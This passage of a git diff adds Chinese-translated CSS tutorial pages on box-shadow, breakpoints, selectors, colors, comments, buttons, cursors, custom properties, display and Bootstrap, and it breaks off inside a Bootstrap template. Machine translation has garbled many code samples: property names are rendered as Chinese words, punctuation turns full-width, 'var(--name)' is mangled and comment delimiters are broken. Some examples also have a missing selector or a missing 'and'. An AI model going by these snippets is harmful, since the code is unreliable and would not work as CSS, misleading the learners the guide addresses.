+CSS DIV { box-shadow：none | \[插图？ && \[ ？ ？ ？ \]\]＃ -moz-box-shadow：无| \[插图？ && \[ ？ ？ ？ \]\]＃ -webkit-box-shadow：none | \[插图？ && \[ ？ ？ ？ \]\]＃ }
+```
+However, this step can be ignored if it is creating confusion, as moz property and webkit property will only work in specific applications such as Firefox, and are not on a standards track. 
+ 
+ ### Examples 
+ 
+ #### Basic use 
+```
+
+CSS div { 宽度：200px; 身高：50px; 背景色：＃333; box-shadow：10px 10px 5px #ccc; }
+```
+10px - offset-x 
+ 10px - offset-y 
+ 5px -  blur 
+ #ccc - light gray color 
+ 
+ It will display 
+ 
+ ![image](https://raw.githubusercontent.com/krzysiekh/images/master/box-shadow1.png) 
+ 
+ #### Inside box shadow 
+```
+
+CSS div { 宽度：200px; 身高：50px; 背景色：＃333; box-shadow：inset 10px 10px 5px #ccc; }
+```
+It uses very similar code, but with inset value, which displays shadow inside the div element 
+ 
+ ![image](https://raw.githubusercontent.com/krzysiekh/images/master/box-shadow2.png) 
+ 
+ 
+ #### Multiple box shadows 
+```
+
+CSS div { 宽度：200px; 身高：50px; 背景色：＃333; box-shadow：inset 10px 10px 5px #ccc，10px 10px 5px #ccc; } \`\`\`
+
+您可以使用逗号组合前两个框阴影，以在同一个div上获得多个框阴影
+
+#### 更多信息
+
+*   文件： [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/box-shadow)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/breakpoints/index.md b/client/src/guide/chinese/css/breakpoints/index.md
new file mode 100644
index 0000000000..7175b1d645
--- /dev/null
+++ b/client/src/guide/chinese/css/breakpoints/index.md
@@ -0,0 +1,192 @@
+---
+title: Breakpoints
+localeTitle: 断点
+---
+## 概观
+
+CSS断点是基于[媒体查询](https://guide.freecodecamp.org/css/css3-media-queries)更改网站布局的特定点 变得活跃。
+
+通常，当您想要将网站的布局重新调整为浏览器视口的大小时，请指定断点;大多数情况下，视口的宽度。
+
+例如，如果您的网站内容在狭窄的视口上看起来很棒（例如在智能手机浏览器上），但在较大的屏幕上看起来很糟糕（例如，字体尺寸太小而且难以阅读），那么你可能想为更大的屏幕引入一个新的断点，使字体更大：
+
+CSS断点可以被认为是响应式网页设计的核心，因为它们定义了内容的行为或排列方式 不同的设备宽度/比例，允许您向用户显示最佳布局。
+
+![例](https://getflywheel.com/wp-content/uploads/2018/02/css-breakpoints-layouts-01.jpg)
+
+## 设置断点
+
+断点基于以下任一方式广泛设定。
+
+*   断点基于设备宽度。
+*   断点基于内容。
+
+### 断点基于设备宽度
+
+很明显，我们所有的设备都没有相同的屏幕宽度/尺寸。现在，设计决定包括一组特定设备并相应地编写css规则。我们已经有足够的设备担心了，当一个新的设备出现不同的宽度时，回到你的CSS并重新添加一个新的断点是非常耗时的。
+
+这是一个例子
+```
+/* ----------- iPhone 6, 6S, 7 and 8 ----------- */ 
+ 
+ /* Portrait */ 
+ 
+ @media only screen 
+ 
+ and (min-device-width: 375px) 
+ 
+ and (max-device-width: 667px) 
+ 
+ and (-webkit-min-device-pixel-ratio: 2) 
+ 
+ and (orientation: portrait) { 
+ 
+ } 
+ 
+ /* Landscape */ 
+ 
+ @media only screen 
+ 
+ and (min-device-width: 375px) 
+ 
+ and (max-device-width: 667px) 
+ 
+ and (-webkit-min-device-pixel-ratio: 2) 
+ 
+ and (orientation: landscape) { 
+ 
+ } 
+ 
+ /* ----------- Google Pixel ----------- */ 
+ 
+ /* Portrait */ 
+ 
+ @media screen 
+ 
+ and (device-width: 360px) 
+ 
+ and (device-height: 640px) 
+ 
+ and (-webkit-device-pixel-ratio: 3) 
+ 
+ and (orientation: portrait) { 
+ 
+ } 
+ 
+ /* Landscape */ 
+ 
+ @media screen 
+ 
+ and (device-width: 360px) 
+ 
+ and (device-height: 640px) 
+ 
+ and (-webkit-device-pixel-ratio: 3) 
+ 
+ and (orientation: landscape) { 
+ 
+ } 
+```
+
+> 通过这种方法，您将获得大量的媒体查询。
+
+### 基于内容的断点
+
+在制定或编写断点规则时，这是最优选的选择。因为只有在需要更改时才能根据特定布局调整内容。
+```
+@media only screen (min-width: 768px){ 
+ ... 
+ } 
+```
+
+> 此断点表示当设备宽度为768px及更高时，CSS将应用。
+
+#### 您还可以使用断点设置范围，因此CSS仅适用于这些限制。
+```
+@media only screen and (min-width: 768px) and (max-width: 959px){ 
+ 
+ ... 
+ 
+ } 
+```
+
+**注意** 始终尝试根据您自己的内容创建断点，而不是设备。将它们分解为逻辑宽度而不是随机宽度，并将它们保持为可管理的数字，因此修改仍然简单明了。
+
+当您想要根据屏幕大小更新样式时， **CSS断点**很有用。例如，从尺寸为1200px及以上的设备中，使用`font-size: 20px;` ，或者使用`font-size: 16px;` 。
+
+我们开始使用的是大于1200px，一个普通的笔记本电脑屏幕的宽度。你可能也注意到我们提到'大于'，这意味着我们在某种程度上使用了' **if-then** '语句。
+
+让我们把它变成CSS代码：
+
+```css
+.text1 { 
+    font-size: 16px; 
+ } 
+ @media (min-width: 1200px) { 
+    .text1 { 
+        font-size: 20px; 
+    } 
+ } 
+```
+
+**为方便起见** ，我们首先写下`.text1`基本样式...然后我们将指定`@media`规则。
+
+**提示** ：您可能会在一个名为“Bootstrap”的常见CSS框架上看到，他们在Bootstrap v4.0中采用了**“min-width”及更高版本** ，而旧版Bootstrap v3.0采用了**“max-width”和向下** 。 这只是一个**偏好** ，并且说' _这个_尺寸而不是'与' _这个_尺寸和大于'相比没有错。
+
+使用`@media (max-width) {}` 。这是一个例子：
+
+```css
+.text1 { 
+    font-size: 20px; 
+ } 
+ @media (max-width: 1199px) { 
+    font-size: 16px; 
+ } 
+```
+
+```css
+// Normal, basic styles 
+ // that look great on small screens 
+ // but not on bigger screens 
+ body { 
+  font-size: 16px; 
+ } 
+ 
+ // Define a new breakpoint, with a media query. 
+ // In this case, for when the viewport's width 
+ // is at least 512px wide. 
+ @media (min-width: 512px) { 
+    body { 
+        font-size: 20px; 
+    } 
+ } 
+```
+
+基于内容而不是设备的断点不那么复杂。这是一个简单的代码片段，当设备的宽度超过`code 700px`大致智能手机屏幕大小时触发
+
+```css
+@media only screen and (min-width: 700px) { 
+  something { 
+    something: something; 
+  } 
+ } 
+```
+
+您还可以设置最小和最大宽度，让您使用不同的范围进行实验。这个大致触发了smar-phone和更大的桌面和显示器尺寸
+
+```code
+@media only screen and (min-width: 700px) and (max-width: 1500px) { 
+  something { 
+    something: something; 
+  } 
+ } 
+```
+
+#### 更多信息：
+
+*   [响应断点](https://getbootstrap.com/docs/4.1/layout/overview/#responsive-breakpoints)
+*   [freecodecamp.org关于使用CSS断点的文章](https://medium.freecodecamp.org/the-100-correct-way-to-do-css-breakpoints-88d6a5ba1862)
+*   [CSS3媒体查询](https://guide.freecodecamp.org/css/css3-media-queries)
+*   [定义断点](https://responsivedesign.is/strategy/page-layout/defining-breakpoints/)
+*   [CSS技巧：@media查询](https://css-tricks.com/snippets/css/media-queries-for-standard-devices/)
+*   [w3schools：典型的设备断点](https://www.w3schools.com/howto/howto_css_media_query_breakpoints.asp)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/class-selector/index.md b/client/src/guide/chinese/css/class-selector/index.md
new file mode 100644
index 0000000000..b09480026e
--- /dev/null
+++ b/client/src/guide/chinese/css/class-selector/index.md
@@ -0,0 +1,65 @@
+---
+title: Class Selector
+localeTitle: 类选择器
+---
+## 类选择器
+
+在CSS文件中使用类选择器将样式应用于具有相应类名的HTML元素。在HTML中，您可以通过添加“class”属性来设置任何元素的类名。
+
+要选择具有特定类的元素，我们使用名为句点字符的（。）和类的名称。
+
+例如 。中央 { text-align：center; 红色; }
+
+这里，所有`class="center"` HTML元素都是红色和居中对齐的。
+
+例子：
+
+```html
+
+<h1 class="test">This is a heading 1</h1> 
+ <p class="test">This is a paragraph 1</p> 
+ <h2 class="test">This is a heading 2</h2> 
+ <p class="test">This is a paragraph 2</p> 
+ <div class="test2 test3">This is a div 1</div> 
+```
+
+由于类名不是唯一的，因此HTML类属性可以为具有相同类名的元素定义相同的样式。 **以下是如何在CSS文件中选择类来设置元素样式（注意。符号）：**
+
+**类`test`所有元素都将应用于此样式：**
+
+```css
+.test { 
+  color: green; 
+ } 
+```
+
+**类`test`所有`<p>`元素都将应用于此样式：**
+
+```css
+p.test { 
+  border: 1px solid black; 
+  color: red; 
+ } 
+```
+
+**类`test`所有`<h1>`和`<h2>`元素都将应用此样式：**
+
+```css
+h1.test, h2.test { 
+  color: blue; 
+ } 
+```
+
+**具有类`test2`和`test3`所有元素都将应用此样式：**
+
+```css
+.test2.test3 { 
+  color: green; 
+ } 
+```
+
+**提示：多个类之间没有空格。**
+
+#### 更多信息：
+
+CSS语法和选择器： [w3schools](https://www.w3schools.com/css/css_syntax.asp)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/colors/index.md b/client/src/guide/chinese/css/colors/index.md
new file mode 100644
index 0000000000..ae0f8cfa90
--- /dev/null
+++ b/client/src/guide/chinese/css/colors/index.md
@@ -0,0 +1,93 @@
+---
+title:  CSS3 Colors
+localeTitle:  CSS3颜色
+---
+## 颜色
+
+CSS Colors是一个CSS模块，用于处理颜色，颜色类型，颜色混合和不透明度。不是所有的CSS属性都需要作为一个值是这个模块的一部分，但它们依赖于它。在CSS中，您可以更改HTML页面中几乎任何元素的颜色。 `background-color` ， `color`和`border-color`等属性设置这些元素的颜色。
+
+CSS支持颜色名称，十六进制和RGB颜色。 除了引入`opacity`声明之外，现在可以使用颜色名称或RGB，HEX，HSL，RGBA，HSLA值来指定CSS3中的颜色。
+
+HTML支持140种标准[颜色名称](https://www.w3schools.com/colors/colors_names.asp) 。
+
+### RGB（A）
+
+RGB代表“红色，绿色，蓝色”。 RGB值是红色，绿色和蓝色的强度值的组合。每个都在0（黑色）和255（全强度）之间。 RGBA颜色值是RGB颜色值的扩展，带有alpha通道 - 指定颜色的不透明度。 alpha参数是介于0.0（完全透明）和1.0（完全不透明）之间的数字。
+
+RGB颜色值指定为：rgb（红色，绿色，蓝色） RGBA颜色值类似，最后位置的alpha值：rgba（红色，绿色，蓝色，alpha）
+
+### HSL（A）
+
+HSL代表“色调，饱和度和亮度”。 色调是色轮上的度数（从0到360）： 0（或360）为红色 120是绿色的 240是蓝色的 饱和度是一个百分比值：100％是全彩色。 亮度也是一个百分比; 0％为深色（黑色），100％为白色。 HSLA颜色值是HSL颜色值的扩展，带有alpha通道 - 指定颜色的不透明度。
+
+HSL颜色值指定为：hsl（色调，饱和度，亮度）。 HSLA颜色值类似，最后位置的alpha值：hsla（色调，饱和度，亮度，alpha）
+
+### CMYK
+
+CMYK颜色是CYAN，MAGENTA，YELLOW和BLACK的组合。计算机屏幕使用RGB颜色值显示颜色。打印机通常使用CMYK颜色值显示颜色。 HTML不支持CMYK，但建议将其作为CSS4中的新标准。
+
+示例颜色： CMYK红色：cmyk（0％，100％，100％，0％） CMYK绿色：cmyk（100％，0％，100％，0％） CMYK蓝色：cmyk（100％，100％，0％，0％）
+
+### Hexcodes
+
+Hexcode是十六进制代码的缩写，是一种向计算机表示颜色值的方法。它以这种方式命名，因为16个唯一符号可用作值。在这种情况下，使用数字0到9和字母a到f。
+
+十六进制代码以这种格式表示：＃000000，在这种情况下将是黑色。使用前面提到的16个字符中的任何一个，在每个十六进制代码中使用六个字符。这六个字符分为三对，两对。
+
+这三对表示特定颜色的红色，绿色和蓝色的值。取十六进制颜色＃AA11BB，AA为红色量，11为绿色量，BB为蓝色量。 0是颜色的最低值，而f是最高值。
+
+十六进制代码不区分大小写，这意味着#FFFFFF和#ffffff将是相同的颜色：白色。
+
+此外，使用十六进制代码有16,777,216种可能的颜色组合。
+
+### 不透明度
+
+CSS3 opacity属性设置整个元素的不透明度（背景颜色和文本都是不透明/透明的）。与使用rgba和hsla指定的alpha值不同，不透明度由子元素继承。
+
+不透明度属性值必须是介于0.0（完全透明）和1.0（完全不透明）之间的数字。
+
+#### 例子
+
+```html
+
+<html> 
+  <body> 
+    <p>Hello Moto</p> 
+  </body> 
+ </html> 
+```
+
+```css
+body { 
+  background-color: green; 
+  color: white; 
+ } 
+```
+
+在上面的示例中， `background-color: green`将`<body>`元素变为绿色。这会将整个网页变为绿色。 `<p>`元素在`color: white`后都是白色的`color: white`也是。 您可以使用命名颜色，如`green` ， `blue` ， `yellow` ， `red` ， `purple`等等。但对于自定义颜色，您可以使用十六进制代码（ `#147ACC` ），RGB值（ `rgb(20, 122, 204)` `#147ACC` ）），甚至HSL值（ `hsl(145, 59%, 30%)` ）。
+
+```css
+p { 
+  color: rgba(244, 145, 14, 0.80); // bright orange 
+ } 
+ 
+ h2 { 
+ color: #FA8072; //salmon 
+ } 
+```
+
+您还可以为颜色添加Alpha值或透明度。透明度允许文本覆盖在图像上，并且stil可以通过文本部分地查看图像，或者如果文本的前面或后面没有其他元素，则可以使用透明度来更改颜色的阴影。使用`rgba()`或`hsla()`并填写颜色值。 alpha值最后是转换为小数的百分比。 （例如，20％是0.2,75％是0.75等）
+
+```css
+body { 
+  background-color: hsl(184, 87%, 94%); // bright blue 
+ } 
+```
+
+上图显示段落为鲜橙色和20％透明，h2元素为鲑鱼粉色，身体背景为亮蓝色。
+
+要获得在CSS中使用的自定义颜色，您可能会发现颜色选择器很有用。一些文本编辑器具有内置颜色选择器，如Visual Studio Code。如果您在Google或DuckDuckGo上搜索“颜色选择器”，您将获得一个可以使用的颜色选择器。谷歌浏览器和Firefox也有可以安装的颜色选择器附加组件。 Adobe Color CC不仅可以帮助您选择颜色，还可以帮助您为网页选择颜色方案！通过使用WebAIM的颜色对比度检查器等工具，检查文本和背景颜色之间是否有足够的对比度是个好主意。
+
+#### 更多信息：
+
+[Adobe Color CC](https://color.adobe.com/) [Chrome网上应用店中的ColorPick Eyedropper](https://chrome.google.com/webstore/detail/colorpick-eyedropper/ohcpnigalekghcmgcdcenkpelffpdolg?hl=en) [适用于Firefox的ColorZilla插件](https://addons.mozilla.org/en-US/firefox/addon/colorzilla/) [探索不同的六角颜色](http://www.colorhexa.com/) [WebAIM颜色对比度检查器](https://webaim.org/resources/contrastchecker/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/comments-in-css/index.md b/client/src/guide/chinese/css/comments-in-css/index.md
new file mode 100644
index 0000000000..d7ed146834
--- /dev/null
+++ b/client/src/guide/chinese/css/comments-in-css/index.md
@@ -0,0 +1,81 @@
+---
+title: Comments in CSS
+localeTitle: CSS中的评论
+---
+## CSS中的评论
+
+CSS中使用注释来解释代码块或在开发期间进行临时更改。注释的代码不会执行。
+
+CSS中的注释语法适用于单行注释和多行注释。您可以根据需要在样式表中添加任意数量的注释。
+
+```css
+    /* 
+        This is 
+        a multi-line 
+        comment 
+    */ 
+ 
+    /* This is a single line comment*/ 
+    .group:after { 
+        content: ""; 
+        display: table; 
+        clear: both; 
+    } 
+```
+
+通过使用CSS注释使您的样式表更具可读性，将来您或其他开发人员将更容易维护CSS。 最好使用CSS注释来帮助识别任何样式表中可能难以理解的部分。
+
+您还可以通过样式化使您的评论更具可读性。
+
+```css
+/* 
+ *** 
+ * SECTION FOR H2 STYLE 
+ *** 
+ * A paragraph where I give informations 
+ * about everything that someone who reads the code 
+ * but didn't write it would need to know. 
+ * The asterisk around the paragraph make it more readable. 
+ *** 
+ */ 
+ 
+ You can add as many comments to your stylesheet as you like. It's good practice to use CSS comments to help identify parts of any stylesheet that might be difficult to understand from a cursory glance. Comments are especially important when working in a team, when your code must be understood by others. By using CSS comments to make your stylesheets more readable, the CSS will be easier to maintain in the future. 
+ 
+ ## Comment Formats 
+ 
+ Comments should be used everyday in your CSS to keep in maintainable and readable by any dev who dives into said CSS. 
+ Here are a few exmples to get you started of CSS comments you can use in your daily work to make your life that bit easier. 
+```
+
+CSS / \* ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++ CSS目录
+
+1.0 - 重置 2.0 - 字体 3.0 - 全球 4.0 - 调色板 5.0 - 标题 6.0 - 身体 6.1 - 滑块 6.2 - 图像 7.0 - 页脚 ++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++
+
+/ 1.0 - 重置\* /
+
+/ 2.0 - 字体\* /
+
+/ 3.0 - 全球\* /
+
+/ 4.0 - 调色板\* /
+
+/ 5.0 - 标题\* /
+
+/ 6.0 - 身体\* /
+```
+/************************************************************************ 
+ 5.1 - Sliders */ 
+ 
+ /************************************************************************ 
+ 5.2 - Imagery */ 
+```
+
+/ 7.0 - 页脚\* / \`\`\`css
+
+h2 { font-size：1.2em; font-family：“Ubuntu”，serif; text-transform：大写; } \`\`\`
+
+### 更多信息：
+
+*   [MDN文档](https://developer.mozilla.org/en-US/docs/Web/CSS/Comments)
+*   [CSS评论由Adam Roberts撰写](https://www.sitepoint.com/css-comments/)
+*   [CSS指南](https://cssguidelin.es/#commenting)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/css-buttons/index.md b/client/src/guide/chinese/css/css-buttons/index.md
new file mode 100644
index 0000000000..be02d233cb
--- /dev/null
+++ b/client/src/guide/chinese/css/css-buttons/index.md
@@ -0,0 +1,106 @@
+---
+title: CSS Buttons
+localeTitle: CSS按钮
+---
+## CSS按钮
+
+*   您可以设置任何可点击按钮的样式（HTML `<button>`元素）
+
+`<button>Click Me</button>`
+
+*   默认按钮如下所示：
+
+![Default Button Style](https://image.ibb.co/kCweAm/button.png "默认按钮样式")
+
+## 造型按钮
+
+您可以更改按钮的多个属性以更改其外观。
+
+要为按钮添加阴影，请使用`box-shadow`属性。
+
+要为禁用效果的按钮添加透明度，请使用属性`opacity` 。
+
+要删除边距并创建按钮组，请添加`float:left/right`属性。
+
+要创建按钮组但使用边框，请使用`float`属性并添加`border property` 。
+
+要创建一组垂直按钮，请使用display： `block property` 。
+
+### 按钮颜色
+
+要更改按钮的背景颜色，请使用background-color属性：
+
+`button {background-color: #6ba0f4;}`
+
+![Button Background-Color](https://image.ibb.co/f5Xpt6/button_bg_blue.png "按钮背景颜色")
+
+要为按钮添加彩色边框，请使用border属性：
+```
+button { 
+  background-color: #FFF; 
+  color: #FFF; 
+  border: 2px solid #6ba0f4; 
+ } 
+```
+
+![Button Border](https://image.ibb.co/kUqymR/button_border_blue.png "按钮边框")
+
+### 按钮文字大小
+
+要更改按钮的文本字体大小，请使用font-size属性：
+
+`button {font-size: 20px;}`
+
+![Button Text Size](https://image.ibb.co/gM9r6R/button_fontsize.png "按钮文字大小")
+
+### 按钮填充
+
+要更改按钮的填充，请使用padding属性：
+
+`button {padding: 15px 30px;}`
+
+![Button Padding](https://image.ibb.co/fKer6R/button_padding.png "按钮填充")
+
+### 按钮宽度
+
+要更改按钮的宽度，无论文本内容如何，​​请使用width属性：
+
+`button {width: 250px;}`
+
+![Button Width](https://image.ibb.co/cDgSfm/button_width.png "按钮宽度")
+
+### 圆形按钮
+
+要创建圆角按钮，请使用border-radius属性：
+
+`button {border-radius: 50%;}`
+
+![Rounded Buttons](https://image.ibb.co/cfH00m/button_bradius.png "圆形按钮")
+
+### 可怜的按钮
+
+要在将鼠标移到按钮上时更改按钮的样式，请使用：hover选择器：
+```
+button:hover { 
+  background-color: #0E2C5B; 
+  color: #FFF; 
+ } 
+```
+
+![Hoverable Buttons](https://image.ibb.co/hxQnfm/button_hover.png "可怜的按钮")
+
+要确定悬停效果的速度，请使用属性`transition-duration` 。
+
+### 禁用按钮
+
+要禁用按钮，请使用cursor属性：
+```
+button { 
+  cursor: not-allowed; 
+ } 
+```
+
+#### 更多信息：
+
+*   https://www.w3schools.com/css/css3\_buttons.asp
+*   https://www.w3schools.com/howto/howto _css_ animate\_buttons.asp
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/css-cursors/index.md b/client/src/guide/chinese/css/css-cursors/index.md
new file mode 100644
index 0000000000..261b7f7dfc
--- /dev/null
+++ b/client/src/guide/chinese/css/css-cursors/index.md
@@ -0,0 +1,58 @@
+---
+title: CSS Cursors
+localeTitle: CSS游标
+---
+## CSS游标
+
+cursor属性指定将鼠标悬停在元素上时要显示的光标类型。它有36个可能的值：
+
+```css
+    .auto            { cursor: auto; } 
+    .default         { cursor: default; } 
+    .none            { cursor: none; } 
+    .context-menu    { cursor: context-menu; } 
+    .help            { cursor: help; } 
+    .pointer         { cursor: pointer; } 
+    .progress        { cursor: progress; } 
+    .wait            { cursor: wait; } 
+    .cell            { cursor: cell; } 
+    .crosshair       { cursor: crosshair; } 
+    .text            { cursor: text; } 
+    .vertical-text   { cursor: vertical-text; } 
+    .alias           { cursor: alias; } 
+    .copy            { cursor: copy; } 
+    .move            { cursor: move; } 
+    .no-drop         { cursor: no-drop; } 
+    .not-allowed     { cursor: not-allowed; } 
+    .all-scroll      { cursor: all-scroll; } 
+    .col-resize      { cursor: col-resize; } 
+    .row-resize      { cursor: row-resize; } 
+    .n-resize        { cursor: n-resize; } 
+    .e-resize        { cursor: e-resize; } 
+    .s-resize        { cursor: s-resize; } 
+    .w-resize        { cursor: w-resize; } 
+    .ns-resize       { cursor: ns-resize; } 
+    .ew-resize       { cursor: ew-resize; } 
+    .ne-resize       { cursor: ne-resize; } 
+    .nw-resize       { cursor: nw-resize; } 
+    .se-resize       { cursor: se-resize; } 
+    .sw-resize       { cursor: sw-resize; } 
+    .nesw-resize     { cursor: nesw-resize; } 
+    .nwse-resize     { cursor: nwse-resize; } 
+```
+
+![alt text](http://www.javascripter.net/faq/24_cursor_styles.gif "CSS游标")
+
+您还可以将图像设置为光标。
+```
+.custom-cursor { 
+  cursor: url(cursor-image.png); 
+ } 
+```
+
+#### 更多信息：
+
+*   检查上面的游标值： [codepen](https://codepen.io/chriscoyier/pen/uCwfB)
+*   Mozilla开发者网络： [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/cursor)
+*   浏览器支持： [caniuse](http://caniuse.com/#search=cursor)
+*   w3schools的光标示例： [w3schools](https://www.w3schools.com/cssref/playit.asp?filename=playcss_cursor&preval=none)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/css-custom-properties/index.md b/client/src/guide/chinese/css/css-custom-properties/index.md
new file mode 100644
index 0000000000..c87935ff75
--- /dev/null
+++ b/client/src/guide/chinese/css/css-custom-properties/index.md
@@ -0,0 +1,46 @@
+---
+title: CSS Custom Properties
+localeTitle: CSS自定义属性
+---
+## CSS自定义属性
+
+CSS自定义属性也称为CSS变量。截至2018年10月，CSS定制属性仍然是一项实验性技术。在生产中使用该功能之前，请考虑[浏览器支持](https://developer.mozilla.org/en-US/docs/Web/CSS/--*#Browser_compatibility)
+
+### 声明自定义属性
+
+在选择器中，使用两个连字符（ - ）和名称（后跟值）声明自定义属性。值可以是简单的，例如颜色（RGB，十六进制代码等）或大小（使用像素，em，rem等），或者它可以更复杂，如阴影定义。请参阅以下示例。
+
+```css
+:root { 
+  --firstVariable: red; 
+  --headerSize: 16px; 
+  --dropShadow: 1px 1px 2px 2px rgba(100,100,100,0.2); 
+```
+
+在`:root`选择器中声明自定义属性使这些属性全局可用。 `:root`选择器可以被认为与`html`选择器相同。
+
+### 使用自定义属性
+
+要使用自定义属性，将使用`var()`函数，该函数接受自定义属性名称的单个参数。 \`\`\`CSS h1 { font-size：var（ - headerSize）; }
+
+.card { box-shadow：var（ - dropShadow）; }
+```
+### Cascading Custom Properties 
+ When custom properties are declared in the `:root` selector, those properties are globally available; any style rules can use the properties. If a custom property needs to be different for specific element, class, or id, a property of the same can be declared in that selector. The compiler will first look for a property name within the immediate enclosing selector, then move to the `:root`. 
+```
+
+CSS ：根 { - 色彩：红色; }
+
+h1 { - 颜色：蓝色; }
+
+h1 { font-color：var（ - font-color）; /\* 蓝色 \*/ }
+
+h2 { font-color：var（ - font-color）; / \*红\* / } \`\`\`
+
+#### 更多信息：
+
+欲了解更多信息，请访
+
+*   [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/--*)
+*   [W3C候选推荐文件](https://www.w3.org/TR/css-variables/)
+*   [浏览器支持](https://caniuse.com/#feat=css-variables)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/css-display/index.md b/client/src/guide/chinese/css/css-display/index.md
new file mode 100644
index 0000000000..36279238cb
--- /dev/null
+++ b/client/src/guide/chinese/css/css-display/index.md
@@ -0,0 +1,37 @@
+---
+title: CSS Display
+localeTitle: CSS显示
+---
+## CSS显示
+
+display属性指定用于HTML元素的框的类型。它有20个可能的关键字值。常用的是：
+
+```css
+    .none             {display: none} 
+    .block            {display: block} 
+    .inline-block     {display: inline-block} 
+    .inline           {display: inline} 
+    .flex             {display: flex} 
+    .inline-flex      {display: inline-flex} 
+    .inline-table     {display: inline-table} 
+    .table            {display: table} 
+    .inherit          {display: inherit} 
+    .initial          {display: initial} 
+```
+
+`display:none`属性在使网站响应时通常会有所帮助。例如，您可能希望在屏幕大小缩小时隐藏页面上的元素，以便弥补空间不足。 `display: none`不仅会隐藏元素，而且页面上的所有其他元素都会表现得就像该元素不存在一样。这是此属性与`visibility: hidden`属性之间的最大区别，隐藏了该元素，但将所有其他页面元素保持在隐藏元素可见时所显示的位置。
+
+这些关键字值分为六类：
+
+*   `<display-inside>`
+*   `<display-outside>`
+*   `<display-listitem>`
+*   `<display-box>`
+*   `<display-internal>`
+*   `<display-legacy>`
+
+### 更多信息：
+
+*   [MDN - 显示](https://developer.mozilla.org/en-US/docs/Web/CSS/display)
+*   [caniuse - 浏览器支持](http://caniuse.com/#search=display)
+*   [CSS-Tricks- Flexbox完整指南](https://css-tricks.com/snippets/css/a-guide-to-flexbox/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/css-frameworks/css-framework-bootstrap/index.md b/client/src/guide/chinese/css/css-frameworks/css-framework-bootstrap/index.md
new file mode 100644
index 0000000000..9ddf5bd0b3
--- /dev/null
+++ b/client/src/guide/chinese/css/css-frameworks/css-framework-bootstrap/index.md
@@ -0,0 +1,86 @@
+---
+title: CSS Framework Bootstrap
+localeTitle: CSS Framework Bootstrap
+---
+# CSS Framework Bootstrap
+
+Bootstrap是最流行的CSS框架，用于为Web开发响应式移动优先项目。
+
+## 入门 - 最新版本：4.1
+
+这是一个简单的HTML模板，其中包含用于Bootstrap库的最新编译和缩小的CSS和Javascript。我们在此示例中使用了CDN，但您可以查看[安装Bootstrap的其他方法](https://getbootstrap.com/docs/4.1/getting-started/download/) 。
+
+```html
+
+    <!DOCTYPE html> 
+    <html lang="en"> 
+      <head> 
+        <meta charset="utf-8"> 
+        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> 
+        <title>Bootstrap</title> 
+ 
+        <!--Latest compiled and minified CSS--> 
+  <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.0/css/bootstrap.min.css" integrity="sha384-9gVQ4dYFwwWSjIDZnLEWnxCjeSWFphJiwGPXr1jddIhOegiu1FwO5qRGvFXOdJZ4" crossorigin="anonymous"> 
+      </head> 
+      <body> 
+        <!-- Add all HTML Code below --> 
+ 
+        <!-- Add all HTML Code above --> 
+ 
+        <!-- jQuery --> 
+        <script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script> 
+        <!-- popper.js --> 
+        <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.3/umd/popper.min.js" integrity="sha384-ZMP7rVo3mIykV+2+9J3UJ46jBk0WLaUAdn689aCwoqbBJiSnjAK/l8WvCWPIPm49" crossorigin="anonymous"></script> 
+        <!-- Latest compiled bootstrap JavaScript --> 
+        <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js" integrity="sha384-smHYKdLADwkXOn1EmN1qk/HfnUcbVRZyYmZ4qpPea6sjB/pTJ0euyQp0Mk8ck+5T" crossorigin="anonymous"></script> 
+      </body> 
+    </html> 
+```
+
+## 入门 - Bootstrap 3
+
+Bootstrap 3不是Bootstrap的最新稳定版本，但它仍然是使用最广泛的版本。你会在很多模板，wordpress主题，项目等等中找到它。考虑到这一点，很明显知道如何使用它仍然很有用。 不要犹豫，去寻找优秀的[Bootstrap文档](https://getbootstrap.com/docs/3.3/getting-started/) 。
+
+```html
+
+<!DOCTYPE html> 
+ <html lang="en"> 
+  <head> 
+    <!-- Required meta tags --> 
+    <meta charset="utf-8"> 
+    <meta http-equiv="X-UA-Compatible" content="IE=edge"> 
+    <meta name="viewport" content="width=device-width, initial-scale=1"> 
+ 
+    <!-- Bootstrap 3 CSS --> 
+    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css"> 
+ 
+    <!-- HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries --> 
+    <!-- WARNING: Respond.js doesn't work if you view the page via file:// --> 
+    <!--[if lt IE 9]> 
+    <script src="https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js"></script> 
+    <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script> 
+    <![endif]--> 
+  </head> 
+  <body> 
+    <!-- Add all HTML Code below --> 
+ 
+    <!-- Add all HTML Code above --> 
+ 
+    <!-- jQuery library --> 
+    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script> 
+    <!-- IU jQuery for better animations--> 
+    <script src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.12.1/jquery-ui.min.js"></script> 
+    <!-- compiled JavaScript --> 
